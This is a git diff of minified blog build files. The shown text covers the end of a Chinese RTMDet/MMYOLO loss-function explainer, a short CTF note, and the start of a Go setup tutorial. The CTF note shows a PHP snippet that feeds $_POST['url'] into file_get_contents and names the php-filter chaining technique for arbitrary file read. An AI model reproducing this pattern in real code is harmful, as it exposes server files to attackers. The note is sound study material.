\u03b2 \u53c2\u6570.\n """\n ...\n\n # label\u8868\u793a\u7c7b\u522bid\uff0cscore\u8868\u793a\u8d28\u91cf\u5206\u6570\n label, score = target\n\n # \u8d1f\u6837\u672c\u8d28\u91cf\u5206\u65700\u6765\u8fdb\u884c\u76d1\u7763\n pred_sigmoid = pred.sigmoid()\n scale_factor = pred_sigmoid\n zerolabel = scale_factor.new_zeros(pred.shape)\n\n # \u8ba1\u7b97\u4ea4\u53c9\u71b5\u90e8\u5206\u7684\u503c\n loss = F.binary_cross_entropy_with_logits(\n pred, zerolabel, reduction=\'none\') * scale_factor.pow(beta)\n\n # \u5f97\u51fa IoU \u5728\u533a\u95f4 (0,1] \u7684 bbox\n # FG cat_id: [0, num_classes -1], BG cat_id: num_classes\n bg_class_ind = pred.size(1)\n pos = ((label >= 0) & (label < bg_class_ind)).nonzero().squeeze(1)\n pos_label = label[pos].long()\n\n # \u6b63\u6837\u672c\u7531 IoU \u8303\u56f4\u5728 (0,1] \u7684 bbox \u6765\u76d1\u7763\n # \u8ba1\u7b97\u52a8\u6001\u6bd4\u4f8b\u56e0\u5b50\n scale_factor = score[pos] - pred_sigmoid[pos, pos_label]\n\n # \u8ba1\u7b97\u4e24\u90e8\u5206\u7684 loss\n loss[pos, pos_label] = F.binary_cross_entropy_with_logits(\n pred[pos, pos_label], score[pos],\n reduction=\'none\') * scale_factor.abs().pow(beta)\n\n # \u5f97\u51fa\u6700\u7ec8 loss\n loss = loss.sum(dim=1, keepdim=False)\n return loss\n'})}),"\n",(0,l.jsx)(n.h4,{id:"giouloss",children:"GIoULoss"}),"\n",(0,l.jsxs)(n.p,{children:["\u8bba\u6587\uff1a",(0,l.jsx)(n.a,{href:"https://arxiv.org/abs/1902.09630",children:"Generalized Intersection over Union: A Metric and A Loss for Bounding Box Regression"})]}),"\n",(0,l.jsx)(n.p,{children:"GIoU Loss \u7528\u4e8e\u8ba1\u7b97\u4e24\u4e2a\u6846\u91cd\u53e0\u533a\u57df\u7684\u5173\u7cfb\uff0c\u91cd\u53e0\u533a\u57df\u8d8a\u5927\uff0c\u635f\u5931\u8d8a\u5c0f\uff0c\u53cd\u4e4b\u8d8a\u5927\u3002\u800c\u4e14 GIoU \u662f\u5728 [0,2] \u4e4b\u95f4\uff0c\u56e0\u4e3a\u5176\u503c\u88ab\u9650\u5236\u5728\u4e86\u4e00\u4e2a\u8f83\u5c0f\u7684\u8303\u56f4\u5185\uff0c\u6240\u4ee5\u7f51\u7edc\u4e0d\u4f1a\u51fa\u73b0\u5267\u70c8\u7684\u6ce2\u52a8\uff0c\u8bc1\u660e\u4e86\u5176\u5177\u6709\u6bd4\u8f83\u597d\u7684\u7a33\u5b9a\u6027\u3002"}),"\n",(0,l.jsx)(n.p,{children:"\u4e0b\u56fe\u662f\u57fa\u672c\u7684\u5b9e\u73b0\u6d41\u7a0b\u56fe\uff1a"}),"\n",(0,l.jsxs)(n.div,{align:"center",children:["\n",(0,l.jsx)(n.img,{src:"https://user-images.githubusercontent.com/25873202/192568784-3884b677-d8e1-439c-8bd2-20943fcedd93.png",alt:"image"}),"\n"]}),"\n",(0,l.jsx)(n.p,{children:"MMDetection \u5b9e\u73b0\u6e90\u7801\u7684\u6838\u5fc3\u90e8\u5206\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-python",children:"def bbox_overlaps(bboxes1, bboxes2, mode='iou', is_aligned=False, eps=1e-6):\n ...\n\n # \u6c42\u4e24\u4e2a\u533a\u57df\u7684\u9762\u79ef\n area1 = (bboxes1[..., 2] - bboxes1[..., 0]) * (\n bboxes1[..., 3] - bboxes1[..., 1])\n area2 = (bboxes2[..., 2] - bboxes2[..., 0]) * (\n bboxes2[..., 3] - bboxes2[..., 1])\n\n if is_aligned:\n # \u5f97\u51fa\u4e24\u4e2a bbox \u91cd\u5408\u7684\u5de6\u4e0a\u89d2 lt \u548c\u53f3\u4e0b\u89d2 rb\n lt = torch.max(bboxes1[..., :2], bboxes2[..., :2]) # [B, rows, 2]\n rb = torch.min(bboxes1[..., 2:], bboxes2[..., 2:]) # [B, rows, 2]\n\n # \u6c42\u91cd\u5408\u9762\u79ef\n wh = fp16_clamp(rb - lt, min=0)\n overlap = wh[..., 0] * wh[..., 1]\n\n if mode in ['iou', 'giou']:\n ...\n else:\n union = area1\n if mode == 'giou':\n # \u5f97\u51fa\u4e24\u4e2a bbox \u6700\u5c0f\u51f8\u95ed\u5408\u6846\u7684\u5de6\u4e0a\u89d2 lt \u548c\u53f3\u4e0b\u89d2 rb\n enclosed_lt = torch.min(bboxes1[..., :2], bboxes2[..., :2])\n enclosed_rb = torch.max(bboxes1[..., 2:], bboxes2[..., 2:])\n else:\n ...\n\n # \u6c42\u91cd\u5408\u9762\u79ef / gt bbox \u9762\u79ef \u7684\u6bd4\u7387\uff0c\u5373 IoU\n eps = union.new_tensor([eps])\n union = torch.max(union, eps)\n ious = overlap / union\n\n ...\n\n # \u6c42\u6700\u5c0f\u51f8\u95ed\u5408\u6846\u9762\u79ef\n enclose_wh = fp16_clamp(enclosed_rb - enclosed_lt, min=0)\n enclose_area = enclose_wh[..., 0] * enclose_wh[..., 1]\n enclose_area = torch.max(enclose_area, eps)\n\n # \u8ba1\u7b97 giou\n gious = ious - (enclose_area - union) / enclose_area\n return gious\n\n@weighted_loss\ndef giou_loss(pred, target, eps=1e-7):\n gious = bbox_overlaps(pred, target, mode='giou', is_aligned=True, eps=eps)\n loss = 1 - gious\n return loss\n"})}),"\n",(0,l.jsx)(n.h3,{id:"15-\u4f18\u5316\u7b56\u7565\u548c\u8bad\u7ec3\u8fc7\u7a0b",children:"1.5 \u4f18\u5316\u7b56\u7565\u548c\u8bad\u7ec3\u8fc7\u7a0b"}),"\n",(0,l.jsxs)(n.div,{align:"center",children:["\n",(0,l.jsx)(n.img,{src:"https://user-images.githubusercontent.com/89863442/192943607-74952731-4eb7-45f5-b86d-2dad46732614.png",width:"800"}),"\n"]}),"\n",(0,l.jsx)(n.h3,{id:"16-\u63a8\u7406\u548c\u540e\u5904\u7406\u8fc7\u7a0b",children:"1.6 \u63a8\u7406\u548c\u540e\u5904\u7406\u8fc7\u7a0b"}),"\n",(0,l.jsxs)(n.div,{align:"center",children:["\n",(0,l.jsx)(n.img,{src:"https://user-images.githubusercontent.com/89863442/192943600-98c3a8f9-e42c-47ea-8e12-d20f686e9318.png",width:"800"}),"\n"]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"(1) \u7279\u5f81\u56fe\u8f93\u5165"})}),"\n",(0,l.jsxs)(n.p,{children:["\u9884\u6d4b\u7684\u56fe\u7247\u8f93\u5165\u5927\u5c0f\u4e3a 640 x 640, \u901a\u9053\u6570\u4e3a 3 ,\u7ecf\u8fc7 CSPNeXt, CSPNeXtPAFPN \u5c42\u7684 8 \u500d\u300116 \u500d\u300132 \u500d\u4e0b\u91c7\u6837\u5f97\u5230 80 x 80, 40 x 40, 20 x 20 \u4e09\u4e2a\u5c3a\u5bf8\u7684\u7279\u5f81\u56fe\u3002\u4ee5 rtmdet-l \u6a21\u578b\u4e3a\u4f8b\uff0c\u6b64\u65f6\u4e09\u5c42\u901a\u9053\u6570\u90fd\u4e3a 256\uff0c\u7ecf\u8fc7 ",(0,l.jsx)(n.code,{children:"bbox_head"})," \u5c42\u5f97\u5230\u4e24\u4e2a\u5206\u652f\uff0c\u5206\u522b\u4e3a ",(0,l.jsx)(n.code,{children:"rtm_cls"})," \u7c7b\u522b\u9884\u6d4b\u5206\u652f\uff0c\u5c06\u901a\u9053\u6570\u4ece 256 \u53d8\u4e3a 80\uff0c80 \u5bf9\u5e94\u6240\u6709\u7c7b\u522b\u6570\u91cf; ",(0,l.jsx)(n.code,{children:"rtm_reg"})," \u8fb9\u6846\u56de\u5f52\u5206\u652f\u5c06\u901a\u9053\u6570\u4ece 256 \u53d8\u4e3a 4\uff0c4 \u4ee3\u8868\u6846\u7684\u5750\u6807\u3002"]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"(2) \u521d\u59cb\u5316\u7f51\u683c"})}),"\n",(0,l.jsx)(n.p,{children:"\u6839\u636e\u7279\u5f81\u56fe\u5c3a\u5bf8\u521d\u59cb\u5316\u4e09\u4e2a\u7f51\u683c\uff0c\u5927\u5c0f\u5206\u522b\u4e3a 6400 (80 x 80)\u30011600 (40 x 40)\u3001400 (20 x 20)\uff0c\u5982\u7b2c\u4e00\u4e2a\u5c42 shape \u4e3a torch.Size([ 6400, 2 ])\uff0c\u6700\u540e\u4e00\u4e2a\u7ef4\u5ea6\u662f 2\uff0c\u4e3a\u7f51\u683c\u70b9\u7684\u6a2a\u7eb5\u5750\u6807\uff0c\u800c 6400 \u8868\u793a\u5f53\u524d\u7279\u5f81\u5c42\u7684\u7f51\u683c\u70b9\u6570\u91cf\u3002"}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"(3) \u7ef4\u5ea6\u53d8\u6362"})}),"\n",(0,l.jsxs)(n.p,{children:["\u7ecf\u8fc7 ",(0,l.jsx)(n.code,{children:"_predict_by_feat_single"})," \u51fd\u6570\uff0c\u5c06\u4ece head \u63d0\u53d6\u7684\u5355\u4e00\u56fe\u50cf\u7684\u7279\u5f81\u8f6c\u6362\u4e3a bbox \u7ed3\u679c\u8f93\u5165\uff0c\u5f97\u5230\u4e09\u4e2a\u5217\u8868 ",(0,l.jsx)(n.code,{children:"cls_score_list"}),"\uff0c",(0,l.jsx)(n.code,{children:"bbox_pred_list"}),"\uff0c",(0,l.jsx)(n.code,{children:"mlvl_priors"}),"\uff0c\u8be6\u7ec6\u5927\u5c0f\u5982\u56fe\u6240\u793a\u3002\u4e4b\u540e\u5206\u522b\u904d\u5386\u4e09\u4e2a\u7279\u5f81\u5c42\uff0c\u5206\u522b\u5bf9 class \u7c7b\u522b\u9884\u6d4b\u5206\u652f\u3001bbox \u56de\u5f52\u5206\u652f\u8fdb\u884c\u5904\u7406\u3002\u4ee5\u7b2c\u4e00\u5c42\u4e3a\u4f8b\uff0c\u5bf9 bbox \u9884\u6d4b\u5206\u652f [ 4\uff0c80\uff0c80 ] \u7ef4\u5ea6\u53d8\u6362\u4e3a [ 6400\uff0c4 ]\uff0c\u5bf9\u7c7b\u522b\u9884\u6d4b\u5206\u652f [ 80\uff0c80\uff0c80 ] \u53d8\u5316\u4e3a [ 6400\uff0c80 ]\uff0c\u5e76\u5bf9\u5176\u505a\u5f52\u4e00\u5316\uff0c\u786e\u4fdd\u7c7b\u522b\u7f6e\u4fe1\u5ea6\u5728 0 - 1 \u4e4b\u95f4\u3002"]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"(4) \u9608\u503c\u8fc7\u6ee4"})}),"\n",(0,l.jsxs)(n.p,{children:["\u5148\u4f7f\u7528\u4e00\u4e2a ",(0,l.jsx)(n.code,{children:"nms_pre"})," \u64cd\u4f5c\uff0c\u5148\u8fc7\u6ee4\u5927\u90e8\u5206\u7f6e\u4fe1\u5ea6\u6bd4\u8f83\u4f4e\u7684\u9884\u6d4b\u7ed3\u679c\uff08\u6bd4\u5982 ",(0,l.jsx)(n.code,{children:"score_thr"})," \u9608\u503c\u8bbe\u7f6e\u4e3a 0.05\uff0c\u5219\u53bb\u9664\u5f53\u524d\u9884\u6d4b\u7f6e\u4fe1\u5ea6\u4f4e\u4e8e 0.05 \u7684\u7ed3\u679c\uff09\uff0c\u7136\u540e\u5f97\u5230 bbox \u5750\u6807\u3001\u6240\u5728\u7f51\u683c\u7684\u5750\u6807\u3001\u7f6e\u4fe1\u5ea6\u3001\u6807\u7b7e\u7684\u4fe1\u606f\u3002\u7ecf\u8fc7\u4e09\u4e2a\u7279\u5f81\u5c42\u904d\u5386\u4e4b\u540e\uff0c\u5206\u522b\u6574\u5408\u8fd9\u4e09\u4e2a\u5c42\u5f97\u5230\u7684\u7684\u56db\u4e2a\u4fe1\u606f\u653e\u5165 results \u5217\u8868\u4e2d\u3002"]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"(5) \u8fd8\u539f\u5230\u539f\u56fe\u5c3a\u5ea6"})}),"\n",(0,l.jsx)(n.p,{children:"\u6700\u540e\u5c06\u7f51\u7edc\u7684\u9884\u6d4b\u7ed3\u679c\u6620\u5c04\u5230\u6574\u56fe\u5f53\u4e2d\uff0c\u5f97\u5230 bbox \u5728\u6574\u56fe\u4e2d\u7684\u5750\u6807\u503c"}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"(6) NMS"})}),"\n",(0,l.jsx)(n.p,{children:"\u8fdb\u884c nms \u64cd\u4f5c\uff0c\u6700\u7ec8\u9884\u6d4b\u5f97\u5230\u7684\u8fd4\u56de\u503c\u4e3a\u7ecf\u8fc7\u540e\u5904\u7406\u7684\u6bcf\u5f20\u56fe\u7247\u7684\u68c0\u6d4b\u7ed3\u679c\uff0c\u5305\u542b\u5206\u7c7b\u7f6e\u4fe1\u5ea6\uff0c\u6846\u7684 labels\uff0c\u6846\u7684\u56db\u4e2a\u5750\u6807"}),"\n",(0,l.jsx)(n.h2,{id:"2-\u603b\u7ed3",children:"2 \u603b\u7ed3"}),"\n",(0,l.jsx)(n.p,{children:"\u672c\u6587\u5bf9 RTMDet \u539f\u7406\u548c\u5728 MMYOLO \u5b9e\u73b0\u8fdb\u884c\u4e86\u8be6\u7ec6\u89e3\u6790\uff0c\u5e0c\u671b\u80fd\u5e2e\u52a9\u7528\u6237\u7406\u89e3\u7b97\u6cd5\u5b9e\u73b0\u8fc7\u7a0b\u3002\u540c\u65f6\u8bf7\u6ce8\u610f\uff1a\u7531\u4e8e RTMDet \u672c\u8eab\u4e5f\u5728\u4e0d\u65ad\u66f4\u65b0\uff0c\n\u672c\u5f00\u6e90\u5e93\u4e5f\u4f1a\u4e0d\u65ad\u8fed\u4ee3\uff0c\u8bf7\u53ca\u65f6\u9605\u8bfb\u548c\u540c\u6b65\u6700\u65b0\u7248\u672c\u3002"})]})}function x(e={}){const{wrapper:n}={...(0,c.R)(),...e.components};return n?(0,l.jsx)(n,{...e,children:(0,l.jsx)(o,{...e})}):o(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/6d4e924b.083e600b.js b/en/assets/js/6d4e924b.083e600b.js new file mode 100644 index 0000000..74344c7 --- /dev/null +++ b/en/assets/js/6d4e924b.083e600b.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[9787],{28453:(e,t,n)=>{n.d(t,{R:()=>l,x:()=>i});var s=n(96540);const r={},o=s.createContext(r);function l(e){const t=s.useContext(o);return s.useMemo(function(){return"function"==typeof e?e(t):{...t,...e}},[t,e])}function i(e){let t;return t=e.disableParentContext?"function"==typeof e.components?e.components(r):e.components||r:l(e.components),s.createElement(o.Provider,{value:t},e.children)}},63866:(e,t,n)=>{n.r(t),n.d(t,{assets:()=>c,contentTitle:()=>i,default:()=>h,frontMatter:()=>l,metadata:()=>s,toc:()=>a});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/FILTERS\u7684\u4efb\u610f\u683c\u5f0f\u8f93\u51fa","title":"FILTERS\u7684\u4efb\u610f\u683c\u5f0f\u8f93\u51fa","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/07.CTF/02.\u5947\u6280\u6deb\u5de7/03.FILTERS\u7684\u4efb\u610f\u683c\u5f0f\u8f93\u51fa.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/07.CTF/02.\u5947\u6280\u6deb\u5de7","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/FILTERS\u7684\u4efb\u610f\u683c\u5f0f\u8f93\u51fa","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/FILTERS\u7684\u4efb\u610f\u683c\u5f0f\u8f93\u51fa","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/07.CTF/02.\u5947\u6280\u6deb\u5de7/03.FILTERS\u7684\u4efb\u610f\u683c\u5f0f\u8f93\u51fa.md","tags":[],"version":"current","sidebarPosition":3,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u5229\u7528shell\u811a\u672c\u53d8\u91cf\u6784\u9020\u65e0\u5b57\u6bcd\u6570\u5b57\u547d\u4ee4","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/\u5229\u7528shell\u811a\u672c\u53d8\u91cf\u6784\u9020\u65e0\u5b57\u6bcd\u6570\u5b57\u547d\u4ee4"},"next":{"title":"JS2PY\u610f\u5916\u83b7\u53d6\u6839\u5bf9\u8c61CVE-2024-28397","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/JS2PY\u610f\u5916\u83b7\u53d6\u6839\u5bf9\u8c61CVE-2024-28397"}}');var r=n(74848),o=n(28453);const l={},i=void 0,c={},a=[{value:"\u524d\u6cbf",id:"\u524d\u6cbf",level:2}];function d(e){const t={a:"a",code:"code",h2:"h2",img:"img",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,o.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsxs)(t.table,{children:[(0,r.jsx)(t.thead,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(t.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(t.tbody,{children:(0,r.jsxs)(t.tr,{children:[(0,r.jsx)(t.td,{style:{textAlign:"left"},children:(0,r.jsx)(t.img,{src:"https://img.shields.io/badge/wjlin0-blog-green",alt:"wjlin0"})}),(0,r.jsx)(t.td,{style:{textAlign:"left"},children:"2024-06-11 11:03:33"})]})})]}),"\n",(0,r.jsx)(t.h2,{id:"\u524d\u6cbf",children:"\u524d\u6cbf"}),"\n",(0,r.jsx)(t.p,{children:"\u5728\u77e5\u8bc6\u661f\u7403\u91cc\u770b\u5230\u8fd9\u4e48\u4e00\u4e2a\u63d0\u95ee"}),"\n",(0,r.jsx)(t.pre,{children:(0,r.jsx)(t.code,{className:"language-php",children:"<?php\n$content = file_get_contents($_POST['url']);\n$json=$json_decode($content,1);\n$data=$json['data'];\necho json_encode($data);\n"})}),"\n",(0,r.jsxs)(t.p,{children:["\u8fd9\u91cc\u662f\u4efb\u610f\u6587\u4ef6\u8bfb\u5199\uff0c\u4f46\u662f\u88abjson\u683c\u5f0f\u5305\u88f9\u4e86\uff0c\u5728\u8bc4\u8bba\u533a\u627e\u5230\u7b54\u6848\u5229\u7528 ",(0,r.jsx)(t.a,{href:"https://www.ambionics.io/blog/wrapwrap-php-filters-suffix",children:"filters"})," \u6784\u9020\u524d\u540e\u7f00\u8fdb\u884c\u4efb\u610f\u6587\u4ef6\u8bfb\u5199"]})]})}function h(e={}){const{wrapper:t}={...(0,o.R)(),...e.components};return t?(0,r.jsx)(t,{...e,children:(0,r.jsx)(d,{...e})}):d(e)}}}]); \ No newline at end of file diff --git a/en/assets/js/6dbddcfb.841db188.js b/en/assets/js/6dbddcfb.841db188.js new file mode 100644 index 0000000..1f6b0f2 --- /dev/null +++ b/en/assets/js/6dbddcfb.841db188.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6052],{3035:(e,n,d)=>{d.d(n,{A:()=>s});const s=d.p+"assets/images/install03-94003cedd4c8c3d4123d5d1f32165b7a.png"},17141:(e,n,d)=>{d.d(n,{A:()=>s});const s=d.p+"assets/images/vscode_shell3-6ff42e26ac39aa9d37ef684ee2df98d9.png"},19177:(e,n,d)=>{d.d(n,{A:()=>s});const s=d.p+"assets/images/install01-d64ed61472ba87440aff0c0ea625f68a.png"},28453:(e,n,d)=>{d.d(n,{R:()=>c,x:()=>o});var s=d(96540);const l={},i=s.createContext(l);function c(e){const n=s.useContext(i);return s.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function o(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(l):e.components||l:c(e.components),s.createElement(i.Provider,{value:n},e.children)}},39172:(e,n,d)=>{d.d(n,{A:()=>s});const s=d.p+"assets/images/install04-175fa35fec313fe8a0e68a98285967e9.png"},48021:(e,n,d)=>{d.d(n,{A:()=>s});const s=d.p+"assets/images/vscode1-19b2bf87bcff59147b3c3e80150a19cf.gif"},52055:(e,n,d)=>{d.d(n,{A:()=>s});const s=d.p+"assets/images/mac_install_go-78ef9274462840922eb6c8b9be929cb8.png"},61145:(e,n,d)=>{d.d(n,{A:()=>s});const s=d.p+"assets/images/vscode_plugin-1666acd91203e8faed047f528bbca30a.png"},64876:(e,n,d)=>{d.d(n,{A:()=>s});const s=d.p+"assets/images/vscode_shell2-209f754c65d23b1bfdcd6bb593412e1c.png"},69619:(e,n,d)=>{d.d(n,{A:()=>s});const s=d.p+"assets/images/download2-5037dead2e7bfecc169e95cc9449fc44.png"},74008:(e,n,d)=>{d.d(n,{A:()=>s});const s=d.p+"assets/images/download1-fd264457dd6ba747b5c8c48e7b2479b1.png"},77018:(e,n,d)=>{d.d(n,{A:()=>s});const s=d.p+"assets/images/vscode_shell4-a13979f63666d799df0b3e9ece572b36.png"},79094:(e,n,d)=>{d.d(n,{A:()=>s});const s=d.p+"assets/images/install06-9eae44f8976c87e4bddd142b1937fcf9.png"},83879:(e,n,d)=>{d.d(n,{A:()=>s});const s=d.p+"assets/images/vscode_shell1-d92eb0e53eada281e2ef0a8e5054768f.png"},88210:(e,n,d)=>{d.d(n,{A:()=>s});const s=d.p+"assets/images/install02-fb3f463fadd80bb5a1b075b7eff9478b.png"},89705:(e,n,d)=>{d.d(n,{A:()=>s});const s=d.p+"assets/images/vscode_menu-ded71d067fd55419bd69c091f0ef9929.png"},91581:(e,n,d)=>{d.d(n,{A:()=>s});const s=d.p+"assets/images/vscode_home-457928958889c5d715996ec4d55aa2f2.png"},92017:(e,n,d)=>{d.r(n),d.d(n,{assets:()=>h,contentTitle:()=>o,default:()=>x,frontMatter:()=>c,metadata:()=>s,toc:()=>r});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5f00\u53d1\u73af\u5883\u914d\u7f6e","title":"\u5b89\u88c5Go\u8bed\u8a00\u53ca\u642d\u5efaGo\u8bed\u8a00\u5f00\u53d1\u73af\u5883","description":"\u6ce8\u610f\uff1aGo\u8bed\u8a001.14\u7248\u672c\u4e4b\u540e\u63a8\u8350\u4f7f\u7528go modules\u7ba1\u7406\u4f9d\u8d56\uff0c\u4e5f\u4e0d\u518d\u9700\u8981\u628a\u4ee3\u7801\u5199\u5728GOPATH\u76ee\u5f55\u4e0b\u4e86\uff0c\u4e4b\u524d\u65e7\u7248\u672c\u7684\u6559\u7a0b\u6233\u8fd9\u4e2a\u94fe\u63a5\u3002","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/01.GoLang-\u5f00\u53d1\u73af\u5883\u914d\u7f6e.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5f00\u53d1\u73af\u5883\u914d\u7f6e","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5f00\u53d1\u73af\u5883\u914d\u7f6e","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/01.GoLang-\u5f00\u53d1\u73af\u5883\u914d\u7f6e.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Go\u57fa\u7840\u7f16\u7a0b","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/"},"next":{"title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u53d8\u91cf\u548c\u5e38\u91cf","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u53d8\u91cf\u5e38\u91cf"}}');var l=d(74848),i=d(28453);const c={},o="\u5b89\u88c5Go\u8bed\u8a00\u53ca\u642d\u5efaGo\u8bed\u8a00\u5f00\u53d1\u73af\u5883",h={},r=[{value:"\u4e0b\u8f7d",id:"\u4e0b\u8f7d",level:2},{value:"\u4e0b\u8f7d\u5730\u5740",id:"\u4e0b\u8f7d\u5730\u5740",level:3},{value:"\u7248\u672c\u7684\u9009\u62e9",id:"\u7248\u672c\u7684\u9009\u62e9",level:3},{value:"\u5b89\u88c5",id:"\u5b89\u88c5",level:2},{value:"Windows\u5b89\u88c5",id:"windows\u5b89\u88c5",level:3},{value:"Linux\u4e0b\u5b89\u88c5",id:"linux\u4e0b\u5b89\u88c5",level:3},{value:"Mac\u4e0b\u5b89\u88c5",id:"mac\u4e0b\u5b89\u88c5",level:3},{value:"\u68c0\u67e5",id:"\u68c0\u67e5",level:3},{value:"GOROOT\u548cGOPATH",id:"goroot\u548cgopath",level:2},{value:"GOPROXY \u975e\u5e38\u91cd\u8981",id:"goproxy-\u975e\u5e38\u91cd\u8981",level:3},{value:"Go\u5f00\u53d1\u7f16\u8f91\u5668",id:"go\u5f00\u53d1\u7f16\u8f91\u5668",level:2},{value:"VS Code\u4ecb\u7ecd",id:"vs-code\u4ecb\u7ecd",level:3},{value:"\u4e0b\u8f7d\u4e0e\u5b89\u88c5",id:"\u4e0b\u8f7d\u4e0e\u5b89\u88c5",level:3},{value:"\u914d\u7f6e",id:"\u914d\u7f6e",level:3},{value:"\u5b89\u88c5\u4e2d\u6587\u7b80\u4f53\u63d2\u4ef6",id:"\u5b89\u88c5\u4e2d\u6587\u7b80\u4f53\u63d2\u4ef6",level:4},{value:"\u5b89\u88c5go\u6269\u5c55",id:"\u5b89\u88c5go\u6269\u5c55",level:4},{value:"\u7b2c\u4e00\u4e2aGo\u7a0b\u5e8f",id:"\u7b2c\u4e00\u4e2ago\u7a0b\u5e8f",level:2},{value:"Hello World",id:"hello-world",level:3},{value:"go mod init",id:"go-mod-init",level:4},{value:"\u7f16\u5199\u4ee3\u7801",id:"\u7f16\u5199\u4ee3\u7801",level:4},{value:"\u7f16\u8bd1",id:"\u7f16\u8bd1",level:3},{value:"Windows\u4e0bVSCode\u5207\u6362cmd.exe\u4f5c\u4e3a\u9ed8\u8ba4\u7ec8\u7aef",id:"windows\u4e0bvscode\u5207\u6362cmdexe\u4f5c\u4e3a\u9ed8\u8ba4\u7ec8\u7aef",level:3},{value:"go run",id:"go-run",level:3},{value:"go install",id:"go-install",level:3},{value:"\u8de8\u5e73\u53f0\u7f16\u8bd1",id:"\u8de8\u5e73\u53f0\u7f16\u8bd1",level:3},{value:"Windows\u7f16\u8bd1Linux\u53ef\u6267\u884c\u6587\u4ef6",id:"windows\u7f16\u8bd1linux\u53ef\u6267\u884c\u6587\u4ef6",level:4},{value:"Windows\u7f16\u8bd1Mac\u53ef\u6267\u884c\u6587\u4ef6",id:"windows\u7f16\u8bd1mac\u53ef\u6267\u884c\u6587\u4ef6",level:4},{value:"Mac\u7f16\u8bd1Linux\u53ef\u6267\u884c\u6587\u4ef6",id:"mac\u7f16\u8bd1linux\u53ef\u6267\u884c\u6587\u4ef6",level:4},{value:"Mac\u7f16\u8bd1Windows\u53ef\u6267\u884c\u6587\u4ef6",id:"mac\u7f16\u8bd1windows\u53ef\u6267\u884c\u6587\u4ef6",level:4},{value:"Linux\u7f16\u8bd1Mac\u53ef\u6267\u884c\u6587\u4ef6",id:"linux\u7f16\u8bd1mac\u53ef\u6267\u884c\u6587\u4ef6",level:4},{value:"Linux\u7f16\u8bd1Windows\u53ef\u6267\u884c\u6587\u4ef6",id:"linux\u7f16\u8bd1windows\u53ef\u6267\u884c\u6587\u4ef6",level:4}];function a(e){const 